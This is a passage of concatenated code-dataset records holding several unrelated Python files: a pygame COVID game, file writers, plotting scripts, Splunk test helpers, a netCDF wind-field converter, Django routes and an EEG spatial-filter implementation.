True\n\n# Human: Width = 100; Height = 72; COVID: Width = 25; Height = 16; Social Distance gap = 5 in width \n if ((cx-x_human < 105 and cx-x_human > -30)and (cy-y_human <= 72 and cy-y_human >= -16)) or ((cx1-x_human < 105 and cx1-x_human > -30) and (cy1-y_human <= 72 and cy1-y_human >= -16)) or ((cx2-x_human < 105 and cx2-x_human > -30) and (cy2-y_human <= 72 and cy2-y_human >= -16)):\n hit = True\n\n else:\n screen.fill((0,0,0),(cx,600,25,20))\n\n# End Outer For Loop for downward movement of Virus\n\n no_loop = no_loop+1\n \n if hit:\n if len(hblist)>2:\n for d in range(2):\n deletehealth()\n hit=False\n else:\n running = False\n else:\n addhealth()\n countsuccess = countsuccess+1\n if countsuccess > target:\n win = True\n running = False\n\n if win == False:\n print(\"Sorry you are infected with COVID; please take 14 days rest & get well soon\")\n elif win == True:\n print(\"Well Done! You have taken necessary safety precautions against COVID and beaten the virus.\\n\",\"You can now take the vaccine.\")\n\n pygame.quit()\n quit()\n\ncovid(humanx,humany)\n\n \n", "sub_path": "HGamers with Multiple Virus.py", "file_name": "HGamers with Multiple Virus.py", "file_ext": "py", "file_size_in_byte": 5951, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "time.sleep", "line_number": 22, "usage_type": "call"}, {"api_name": "pygame.init", "line_number": 24, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 25, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 25, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 26, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 26, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 27, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 27, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 30, "usage_type": "call"}, {"api_name": "pygame.draw.rect", "line_number": 47, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 47, "usage_type": "attribute"}, {"api_name": "pygame.Rect", "line_number": 47, "usage_type": "call"}, {"api_name": "pygame.draw.rect", "line_number": 49, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 49, "usage_type": "attribute"}, {"api_name": "pygame.Rect", "line_number": 49, "usage_type": "call"}, {"api_name": "pygame.draw.rect", "line_number": 62, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 62, "usage_type": "attribute"}, {"api_name": "pygame.Rect", "line_number": 62, "usage_type": "call"}, {"api_name": "pygame.draw.rect", "line_number": 64, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 64, "usage_type": "attribute"}, {"api_name": "pygame.Rect", "line_number": 64, "usage_type": "call"}, {"api_name": "pygame.display.update", "line_number": 97, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 97, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 104, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 104, "usage_type": "attribute"}, {"api_name": "pygame.KEYDOWN", "line_number": 105, "usage_type": "attribute"}, {"api_name": "pygame.K_LEFT", "line_number": 106, "usage_type": "attribute"}, {"api_name": "pygame.K_RIGHT", "line_number": 108, "usage_type": "attribute"}, {"api_name": "pygame.KEYUP", "line_number": 110, "usage_type": "attribute"}, {"api_name": "pygame.K_LEFT", "line_number": 111, "usage_type": "attribute"}, {"api_name": "pygame.K_RIGHT", "line_number": 113, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 126, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 126, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 143, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 143, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 144, "usage_type": "call"}, {"api_name": "pygame.quit", "line_number": 187, "usage_type": "call"}]} {"seq_id": "71100257", "text": "import json\nimport csv\n\nclass OutFile(object):\n\n\n def __init__(self, file, items, fieldnames=None):\n self.file = file\n self.items = items\n self.fieldnames = fieldnames\n\n def _import(self, delimiter):\n with open(self.file, 'w') as openfile:\n writer = csv.DictWriter(\n openfile,\n delimiter=delimiter,\n fieldnames=self.fieldnames)\n writer.writeheader()\n for item in self.items.values():\n writer.writerow({\n k:unicode(v).encode(\"utf-8\")\n for k,v in item.items()})\n\n def csv(self):\n self._import(',')\n\n def txt(self):\n self._import('\\t')\n\n def json(self):\n with open(self.file, 'w') as openfile:\n json.dump(\n self.items,\n openfile,\n sort_keys = True,\n indent = 4,\n ensure_ascii=True)\n", "sub_path": "backend/catalog/file/outfile.py", "file_name": "outfile.py", "file_ext": "py", "file_size_in_byte": 960, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "csv.DictWriter", "line_number": 14, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 32, "usage_type": "call"}]} {"seq_id": "123337676", "text": "from util_python import Senial, SignalsReadWrite\nfrom Globals import config\nfrom ExpressPlot import ExpressPlot\nfrom Utils import FourierTransform\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef plotFunction(args):\n for i in np.arange(-3.5, 3.5, 1):\n xi = i * args[\"fs\"]\n args[\"ax\"].plot([xi, xi], [0, 0.05], color=\"black\")\n\n\n\ndef joaco_spectrum():\n\n fs = 1000\n #config.GetConfigData().setFs(fs)\n #config.GetConfigData().setSampleCycle(5)\n\n input = SignalsReadWrite.readSignal()\n\n inputSpectrum = FourierTransform.fourierTransform(input)\n\n ExpressPlot.CombinedPlot() \\\n .setTitle(\"Simulación espectro $f_s=\" + str(fs / 1000) + \"k$\") \\\n .setXTitle(\"Frecuencia (hz)\") \\\n .setYTitle(\"Potencia (% del total)\") \\\n .extraPlot(\n plotFunction,\n {\"fs\": fs}) \\\n .addSignalPlot(\n signal=inputSpectrum,\n color=\"green\",\n name=\"Salida llave analógica\"\n ).plotAndSave(\n filename=\"ExpressOutput/espectro_09\"\n )\n plt.show()", "sub_path": "TP1/simulacion_ej5/IndividualTests/joaco_spectrum.py", "file_name": "joaco_spectrum.py", "file_ext": "py", "file_size_in_byte": 1037, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.arange", "line_number": 9, "usage_type": "call"}, {"api_name": "util_python.SignalsReadWrite.readSignal", "line_number": 21, "usage_type": "call"}, {"api_name": "util_python.SignalsReadWrite", "line_number": 21, "usage_type": "name"}, {"api_name": "Utils.FourierTransform.fourierTransform", "line_number": 23, "usage_type": "call"}, {"api_name": "Utils.FourierTransform", "line_number": 23, "usage_type": "name"}, {"api_name": "ExpressPlot.ExpressPlot.CombinedPlot", "line_number": 25, "usage_type": "call"}, {"api_name": "ExpressPlot.ExpressPlot", "line_number": 25, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}]} {"seq_id": "174367296", "text": "# -*- coding:utf-8 -*-\n\nimport matplotlib.pyplot as plt \n\ninput_values = [1,2,3,4,5]\nsquares = [1,4,9,16,25]\n\nplt.plot(input_values,squares,linewidth=5)\n\n#设置图表的标题，并给坐标加标签\nplt.title('Squares',fontsize=24)\nplt.xlabel('Value',fontsize=14)\nplt.ylabel('Squares of Value',fontsize=14)\n\n#设置刻度标记的大小\nplt.tick_params(axis='both',labelsize=14)\nplt.show()", "sub_path": "matplotlib/mpl_squares.py", "file_name": "mpl_squares.py", "file_ext": "py", "file_size_in_byte": 391, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "matplotlib.pyplot.plot", "line_number": 8, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 8, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 11, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 11, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 12, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 12, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 13, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 13, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tick_params", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 17, "usage_type": "name"}]} {"seq_id": "305673126", "text": "import lxml.etree as et\n\nimport splunk\nimport splunk.rest as rest\nimport splunk.entity as entity\n\ndef getFormattedTimeForUser(sessionKey, now=None, timeFormat=None):\n getargs = {'time': 'now',\n 'time_format': timeFormat if timeFormat else '%F %T'}\n\n if now:\n getargs['now'] = now\n\n serverStatus, serverResp = rest.simpleRequest('/search/timeparser', getargs=getargs, sessionKey=sessionKey)\n\n root = et.fromstring(serverResp)\n\n if root.find('messages/msg'):\n raise splunk.SplunkdException(root.findtext('messages/msg'))\n\n return root.xpath(\"//dict/key[@name='now']/text()\")[0]\n\nif __name__ == '__main__':\n import unittest\n import uuid\n import datetime\n import splunk.auth as auth\n import splunk.entity as entity\n\n def createTestUser(tz, sessionKey):\n uri = entity.buildEndpoint('authentication', 'users')\n userName = str(uuid.uuid1())\n postargs = {\n \"name\": userName,\n \"password\": \"changeme\",\n \"roles\": \"user\",\n \"tz\": tz\n }\n (response, content) = rest.simpleRequest(uri, postargs=postargs, sessionKey=sessionKey) \n return userName\n\n def deleteTestUser(userName, sessionKey):\n uri = entity.buildEndpoint(['authentication', 'users'], userName)\n (response, content) = rest.simpleRequest(uri, sessionKey=sessionKey, method=\"DELETE\") \n\n class GetTimeTest(unittest.TestCase):\n \n def setUp(self):\n self.adminSessionKey = auth.getSessionKey(\"admin\", \"changeme\")\n self.userName = createTestUser(tz=\"Chile/EasterIsland\", sessionKey=self.adminSessionKey)\n self.sessionKey = auth.getSessionKey(self.userName, \"changeme\")\n \n def tearDown(self):\n deleteTestUser(self.userName, sessionKey=self.adminSessionKey)\n\n def testChileEasterIsland(self):\n val = getFormattedTimeForUser(self.sessionKey, now=1342123200, timeFormat=\"%F %T %Z\")\n self.assertEquals(val, u'2012-07-12 14:00:00 EAST')\n\n # exec all tests\n loader = unittest.TestLoader()\n suites = []\n suites.append(loader.loadTestsFromTestCase(GetTimeTest))\n unittest.TextTestRunner(verbosity=2).run(unittest.TestSuite(suites))\n", "sub_path": "search/searchUtils.py", "file_name": "searchUtils.py", "file_ext": "py", "file_size_in_byte": 2259, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "splunk.rest.simpleRequest", "line_number": 14, "usage_type": "call"}, {"api_name": "splunk.rest", "line_number": 14, "usage_type": "name"}, {"api_name": "lxml.etree.fromstring", "line_number": 16, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 16, "usage_type": "name"}, {"api_name": "splunk.SplunkdException", "line_number": 19, "usage_type": "call"}, {"api_name": "splunk.entity.buildEndpoint", "line_number": 31, "usage_type": "call"}, {"api_name": "splunk.entity", "line_number": 31, "usage_type": "name"}, {"api_name": "uuid.uuid1", "line_number": 32, "usage_type": "call"}, {"api_name": "splunk.rest.simpleRequest", "line_number": 39, "usage_type": "call"}, {"api_name": "splunk.rest", "line_number": 39, "usage_type": "name"}, {"api_name": "splunk.entity.buildEndpoint", "line_number": 43, "usage_type": "call"}, {"api_name": "splunk.entity", "line_number": 43, "usage_type": "name"}, {"api_name": "splunk.rest.simpleRequest", "line_number": 44, "usage_type": "call"}, {"api_name": "splunk.rest", "line_number": 44, "usage_type": "name"}, {"api_name": "unittest.TestCase", "line_number": 46, "usage_type": "attribute"}, {"api_name": "splunk.auth.getSessionKey", "line_number": 49, "usage_type": "call"}, {"api_name": "splunk.auth", "line_number": 49, "usage_type": "name"}, {"api_name": "splunk.auth.getSessionKey", "line_number": 51, "usage_type": "call"}, {"api_name": "splunk.auth", "line_number": 51, "usage_type": "name"}, {"api_name": "unittest.TestLoader", "line_number": 61, "usage_type": "call"}, {"api_name": "unittest.TextTestRunner", "line_number": 64, "usage_type": "call"}, {"api_name": "unittest.TestSuite", "line_number": 64, "usage_type": "call"}]} {"seq_id": "235321333", "text": "from imitation.reward_net import BasicRewardNet, BasicShapedRewardNet\nimport pytest\nimport tensorflow as tf\n\nENVS = ['FrozenLake-v0', 'CartPole-v1', 'Pendulum-v0']\n\n\n@pytest.mark.parametrize(\"env\", ENVS)\ndef test_init_no_crash(env):\n for i in range(3):\n with tf.variable_scope(env + str(i) + \"shaped\"):\n BasicShapedRewardNet(env)\n with tf.variable_scope(env + str(i)):\n BasicRewardNet(env)\n", "sub_path": "imitation/tests/test_reward_net.py", "file_name": "test_reward_net.py", "file_ext": "py", "file_size_in_byte": 429, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "tensorflow.variable_scope", "line_number": 11, "usage_type": "call"}, {"api_name": "imitation.reward_net.BasicShapedRewardNet", "line_number": 12, "usage_type": "call"}, {"api_name": "tensorflow.variable_scope", "line_number": 13, "usage_type": "call"}, {"api_name": "imitation.reward_net.BasicRewardNet", "line_number": 14, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 8, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 8, "usage_type": "attribute"}]} {"seq_id": "557570346", "text": "#!/usr/bin/python\n#coding=utf-8\nfrom gevent import monkey; monkey.patch_all()\nimport gevent\nimport os\nimport time\n\ndef showFileProperties(path,s={}):\n for root,dirs,files in os.walk(path,True):\n #print 'root:',root\n #print files\n #print dirs\n for filename in files:\n #print 'filename:',filename\n #print 'os.path:',os.path.join(root,filename)\n #o=os.path.join(root,filename)\n #print o.split('\\\\')[-1].split('.')[-1]\n state=os.stat(os.path.join(root,filename))\n #print 'state:',state\n #info ='文件名：'+filename+' '\n #info+='大小：'+('%d'%state[-4])\n #print info\n size=int(state[-4])\n #print size\n s[str(os.path.join(root,filename))]=size\n\nif __name__=='__main__':\n path1=r'E:\\MyWork\\Python-Study'\n p1={}\n #showFileProperties(path1,p1)\n #print p1\n path2=r'E:\\PYDEV'\n p2={}\n #showFileProperties(path2,p2)\n #print p2\n gevent.joinall([\n gevent.spawn(showFileProperties,path1,p1),\n gevent.spawn(showFileProperties,path2,p2),\n ])\n \n i=0\n for k in p1.keys():\n if k in p2.keys():\n if(p1[k]==p2[k]):\n i+=1\n\n \n", "sub_path": "py/file.py", "file_name": "file.py", "file_ext": "py", "file_size_in_byte": 1262, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "gevent.monkey.patch_all", "line_number": 3, "usage_type": "call"}, {"api_name": "gevent.monkey", "line_number": 3, "usage_type": "name"}, {"api_name": "os.walk", "line_number": 9, "usage_type": "call"}, {"api_name": "os.stat", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "gevent.joinall", "line_number": 36, "usage_type": "call"}, {"api_name": "gevent.spawn", "line_number": 37, "usage_type": "call"}, {"api_name": "gevent.spawn", "line_number": 38, "usage_type": "call"}]} {"seq_id": "574188867", "text": "import sys\nimport netCDF4 as nc\nimport numpy as np\nimport time\nimport os\nimport json\nimport math\nimport random\n\n\ndef create_3d_windfield(filepath, savedir):\n dataset = nc.Dataset(filepath)\n filename = filepath.split('/')[-1]\n lon = dataset.variables['longitude'][:]\n lat = dataset.variables['latitude'][:]\n height = dataset.variables['height'][:]\n u_win = dataset.variables['u'][:]\n v_win = dataset.variables['v'][:]\n u_win = u_win.flatten().tolist()\n v_win = v_win.flatten().tolist()\n # 将u_win和v_win里面的无效值替换\n for index, i in enumerate(u_win):\n if i == None:\n u_win[index] = 99999\n for index, i in enumerate(v_win):\n if i == None:\n v_win[index] = 99999\n # 将u_win， v_win转换为二维数组\n u_win = np.array(u_win).reshape(height.shape[0], len(lat), len(lon))\n v_win = np.array(v_win).reshape(height.shape[0], len(lat), len(lon))\n # 取部分的经纬度和风速风向\n part_lon_idx = []\n part_lat_idx = []\n for index, i in enumerate(list(lon)):\n if index % 10 == 5:\n part_lon_idx.append(index)\n for index, i in enumerate(list(lat)):\n if index % 10 == 5:\n part_lat_idx.append(index)\n part_lonlat_list = []\n count = 0\n for i in range(len(lat)):\n for j in range(len(lon)):\n part_lonlat_dic = {}\n part_lonlat_dic['id'] = count\n part_lonlat_dic['lon'] = float('{:.3f}'.format(lon[j]))\n part_lonlat_dic['lat'] = float('{:.3f}'.format(lat[i]))\n count += 1\n part_lonlat_list.append(part_lonlat_dic)\n part_lon_idx = tuple(part_lon_idx)\n part_lat_idx = tuple(part_lat_idx)\n part_lon_min_idx = part_lon_idx[0]\n part_lon_max_idx = part_lon_idx[-1]\n part_lat_min_idx = part_lat_idx[0]\n part_lat_max_idx = part_lat_idx[-1]\n timestr = filename[0: 15]\n time_array = time.strptime(timestr, \"%Y%m%d_%H%M%S\")\n time_stamp = int(time.mktime(time_array)) + 8 * 3600\n time_array = time.localtime(time_stamp)\n other_style_time = time.strftime('%Y%m%d%H%M%S', time_array)\n yyyyMMdd = other_style_time[0:8]\n modifytype = 0\n lon_count = len(lon)\n lat_count = len(lat)\n product_type = 'windfield'\n for index, i in enumerate(height):\n windfield_dic = {}\n # 计算风速\n winspeed = np.sqrt(np.square(u_win[index]) + np.square(v_win[index]))\n # 计算风向\n winddirect = 180 + np.arctan(np.array(u_win[index]) / np.array(v_win[index])) * 180 / math.pi\n winddirect = winddirect.flatten().tolist()\n winspeed = winspeed.flatten().tolist()\n invalid_index = []\n for index, j in enumerate(winddirect):\n if np.isnan(j):\n winddirect[index] = 999999\n invalid_index.append(index)\n elif j == 225:\n winddirect[index] = 999999\n invalid_index.append(index)\n for index, j in enumerate(winspeed):\n if np.isnan(j):\n winspeed[index] = 999999\n elif int(j) == 141419:\n winspeed[index] = 999999\n # 垂直速度数组\n verticalspeed = []\n for k in range(lon_count * lat_count):\n tem_verticalspeed = float('{:.1f}'.format(random.uniform(-3, 3)))\n verticalspeed.append(tem_verticalspeed)\n # 将对应的值改为无效值\n if k in invalid_index:\n verticalspeed[k] = 999999\n # 转换为2d数组\n winspeed = np.array(winspeed).reshape(len(lat), len(lon))\n winddirect = np.array(winddirect).reshape(len(lat), len(lon))\n verticalspeed = np.array(verticalspeed).reshape(len(lat), len(lon))\n # 局部风速风向垂直速度\n part_windspeed = winspeed[part_lat_min_idx: part_lat_max_idx + 1: 10,\n part_lon_min_idx: part_lon_max_idx + 1: 10]\n part_winddirect = winddirect[part_lat_min_idx:part_lat_max_idx + 1: 10,\n part_lon_min_idx: part_lon_max_idx + 1: 10]\n part_verticalspeed = verticalspeed[part_lat_min_idx:part_lat_max_idx + 1: 10,\n part_lon_min_idx: part_lon_max_idx + 1: 10]\n filename = '{}{}{}{}{}{}'.format(other_style_time, '_', int(i), '_', product_type, '.json')\n windfield_dic['modifyType'] = modifytype\n windfield_dic['lonMin'] = float('{:.3f}'.format(lon[part_lon_min_idx]))\n windfield_dic['lonMax'] = float('{:.3f}'.format(lon[part_lon_max_idx]))\n windfield_dic['latMin'] = float('{:.3f}'.format(lat[part_lat_min_idx]))\n windfield_dic['latMax'] = float('{:.3f}'.format(lat[part_lat_max_idx]))\n windfield_dic['lonCount'] = lon_count\n windfield_dic['latCount'] = lat_count\n windfield_dic['windSpeed'] = [float('{:.1f}'.format(j)) for j in winspeed.flatten().tolist()]\n windfield_dic['windDirection'] = [float('{:.1f}'.format(j)) for j in winddirect.flatten().tolist()]\n windfield_dic['verticalSpeed'] = [float('{:.1f}'.format(j)) for j in verticalspeed.flatten().tolist()]\n windfield_dic['partWindSpeed'] = [float('{:.1f}'.format(j)) for j in part_windspeed.flatten().tolist()]\n windfield_dic['partWindDirection'] = [float('{:.1f}'.format(j)) for j in part_winddirect.flatten().tolist()]\n windfield_dic['partVerticalSpeed'] = [float('{:.1f}'.format(j)) for j in part_verticalspeed.flatten().tolist()]\n windfield_dic['filename'] = filename\n windfield_dic['time'] = timestr\n windfield_dic['productType'] = product_type\n wind_json = json.dumps(windfield_dic)\n save_path = '{}{}{}{}'.format(savedir, yyyyMMdd, '/', product_type.upper())\n if os.path.exists(save_path) == False:\n os.makedirs(save_path)\n wind_path = '{}{}{}'.format(save_path, '/', filename)\n with open(wind_path, 'w+') as file_obj:\n file_obj.write(wind_json)\n\n\nif __name__ == '__main__':\n # filepath = 'D:/Data/20210125_072400.bkg.nc4'\n # savedir = r'D:/Data/3d_windfield_inversion_parse/'\n filepath = sys.argv[1]\n savedir = sys.argv[2]\n create_3d_windfield(filepath, savedir)\n", "sub_path": "swsw-data/src/main/resources/python/3d_windfield_inversion_parse/windfield_inversion.py", "file_name": "windfield_inversion.py", "file_ext": "py", "file_size_in_byte": 6191, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "netCDF4.Dataset", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 30, "usage_type": "call"}, {"api_name": "time.strptime", "line_number": 57, "usage_type": "call"}, {"api_name": "time.mktime", "line_number": 58, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 59, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.square", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.arctan", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 71, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 71, "usage_type": "attribute"}, {"api_name": "numpy.isnan", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 83, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 98, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 123, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 125, "usage_type": "call"}, {"api_name": "os.path", "line_number": 125, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 126, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 135, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 136, "usage_type": "attribute"}]} {"seq_id": "9515267", "text": "from django.urls import path\nfrom . import views\n\napp_name='personnels'\nurlpatterns = [\n path('', views.index, name='index'),\n path('form', views.personnel_form, name='personnel_create'),\n path('form/<int:id>', views.personnel_form, name='personnel_update'),\n path('delete/<int:id>', views.personnel_delete, name='personnel_delete'),\n\n path('PosteIndex', views.posteIndex, name='poste.index'),\n path('PosteForm', views.poste_form, name='poste_create'),\n path('PosteForm/<int:id>', views.poste_form, name='poste_update'),\n path('PosteDelete/<int:id>', views.poste_delete, name='poste_delete'),\n\n]\n", "sub_path": "personnels/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 620, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}]} {"seq_id": "609847657", "text": "# -*- coding: utf-8 -*-\n#\n# Authors: Swolf <swolfforever@gmail.com>\n# Date: 2021/1/07\n# License: MIT License\n\"\"\"\nDiscriminal Spatial Patterns.\n\"\"\"\nfrom typing import Optional, Union, List, Tuple, Dict\nfrom itertools import combinations\n\nimport numpy as np\nfrom scipy.linalg import eigh\nfrom scipy.stats import pearsonr\nfrom numpy import ndarray\nfrom sklearn.base import BaseEstimator, TransformerMixin\nfrom sklearn.model_selection import GridSearchCV, StratifiedKFold, ShuffleSplit\nfrom sklearn.pipeline import make_pipeline\nfrom sklearn.svm import SVC\nfrom sklearn.metrics import pairwise_distances\nfrom sklearn.cross_decomposition import CCA\nfrom joblib import Parallel, delayed\n\nfrom .base import robust_pattern, FilterBank\n\ndef xiang_dsp_kernel(X: ndarray, y: ndarray) -> Tuple[ndarray, ndarray, ndarray, ndarray]:\n \"\"\"dsp algorihtm based on paper[1].\n\n Parameters\n ----------\n X : ndarray\n EEG data assuming removing mean, shape (n_trials, n_channels, n_samples)\n y : ndarray\n labels, shape (n_trials, )\n \n Returns\n -------\n W: ndarray\n filters, shape (n_channels, n_filters)\n D: ndarray\n eigenvalues in descending order\n M: ndarray\n template for all classes, shape (n_channel, n_samples)\n A: ndarray\n spatial patterns, shape (n_channels, n_filters)\n\n Notes\n -----\n 1. the implementation removes regularization on within-class scatter matrix Sw.\n\n References\n ----------\n [1] Liao, Xiang, et al. \"Combining spatial filters for the classification of single-trial EEG in a finger movement task.\" IEEE Transactions on Biomedical Engineering 54.5 (2007): 821-831. \n \"\"\"\n X, y = np.copy(X), np.copy(y)\n labels = np.unique(y)\n X = np.reshape(X, (-1, *X.shape[-2:]))\n X = X - np.mean(X, axis=-1, keepdims=True)\n # the number of each label\n n_labels = np.array([np.sum(y==label) for label in labels])\n # average template of all trials\n M = np.mean(X, axis=0)\n # class conditional template\n Ms, Ss =zip(*[\n (np.mean(X[y==label], axis=0), np.sum(np.matmul(X[y==label], np.swapaxes(X[y==label], -1, -2)), axis=0)) for label in labels\n ])\n Ms, Ss = np.stack(Ms), np.stack(Ss)\n # within-class scatter matrix\n Sw = np.sum(Ss - n_labels[:, np.newaxis, np.newaxis]*np.matmul(Ms, np.swapaxes(Ms, -1, -2)), axis=0) \n Ms = Ms - M\n # between-class scatter matrix\n Sb = np.sum(n_labels[:, np.newaxis, np.newaxis]*np.matmul(Ms, np.swapaxes(Ms, -1, -2)), axis=0)\n\n D, W = eigh(Sb, Sw)\n ix = np.argsort(D)[::-1] # in descending order\n D, W = D[ix], W[:, ix]\n A = robust_pattern(W, Sb, W.T@Sb@W)\n\n return W, D, M, A\n\ndef xiang_dsp_feature(W: ndarray, M: ndarray, X: ndarray,\n n_components: int = 1) -> ndarray:\n \"\"\"Return DSP features in paper [1]_.\n\n Parameters\n ----------\n W : ndarray\n spatial filters from csp_kernel, shape (n_channels, n_filters)\n M: ndarray\n common template for all classes, shape (n_channel, n_samples)\n X : ndarray\n eeg data, shape (n_trials, n_channels, n_samples)\n n_components : int, optional\n the first k components to use, usually even number, by default 1\n\n Returns\n -------\n ndarray\n features of shape (n_trials, n_components, n_samples)\n\n Raises\n ------\n ValueError\n n_components should less than half of the number of channels\n\n Notes\n -----\n 1. instead of meaning of filtered signals in paper [1]_., we directly return filtered signals.\n\n References\n ----------\n .. [1] Liao, Xiang, et al. \"Combining spatial filters for the classification of single-trial EEG in a finger movement task.\" IEEE Transactions on Biomedical Engineering 54.5 (2007): 821-831.\n \"\"\"\n W, M, X = np.copy(W), np.copy(M), np.copy(X)\n max_components = W.shape[1]\n if n_components > max_components:\n raise ValueError(\"n_components should less than the number of channels\")\n X = np.reshape(X, (-1, *X.shape[-2:]))\n X = X - np.mean(X, axis=-1, keepdims=True)\n features = np.matmul(W[:, :n_components].T, X - M)\n return features\n\nclass DSP(BaseEstimator, TransformerMixin):\n def __init__(self,\n n_components: Optional[int] = None,\n max_components: Optional[int] = None,\n transform_method: Optional[str] = None):\n self.n_components = n_components\n self.max_components = max_components\n self.transform_method = transform_method\n\n def fit(self, X: ndarray, y: ndarray):\n X -= np.mean(X, axis=-1, keepdims=True)\n X /= np.std(X, axis=(-2, -1), keepdims=True)\n self.classes_ = np.unique(y)\n self.W_, self.D_, self.M_, self.A_ = xiang_dsp_kernel(X, y)\n\n # auto-tuning\n if self.n_components is None:\n estimator = make_pipeline(*[DSP(n_components=self.n_components, transform_method=self.transform_method), SVC()])\n if self.max_components is None:\n params = {'dsp__n_components': np.arange(1, self.W_.shape[1]+1)}\n else:\n params = {'dsp__n_components': np.arange(1, self.max_components+1)}\n \n n_splits = np.min(np.unique(y, return_counts=True)[1])\n n_splits = 5 if n_splits > 5 else n_splits\n\n gs = GridSearchCV(estimator,\n param_grid=params, scoring='accuracy', \n cv=StratifiedKFold(n_splits=n_splits, shuffle=True), refit=False, n_jobs=-1, verbose=False)\n gs.fit(X, y)\n self.best_n_components_ = gs.best_params_['dsp__n_components']\n\n self.templates_ = np.stack([\n np.mean(xiang_dsp_feature(self.W_, self.M_, X[y==label], n_components=self.W_.shape[1]), axis=0) for label in self.classes_\n ])\n return self\n \n def transform(self, X: ndarray):\n n_components = self.best_n_components_ if self.n_components is None else self.n_components\n X -= np.mean(X, axis=-1, keepdims=True)\n X /= np.std(X, axis=(-2, -1), keepdims=True)\n features = xiang_dsp_feature(self.W_, self.M_, X, n_components=n_components)\n if self.transform_method is None:\n return features.reshape((features.shape[0], -1))\n elif self.transform_method == 'mean':\n return np.mean(features, axis=-1)\n elif self.transform_method == 'corr':\n return 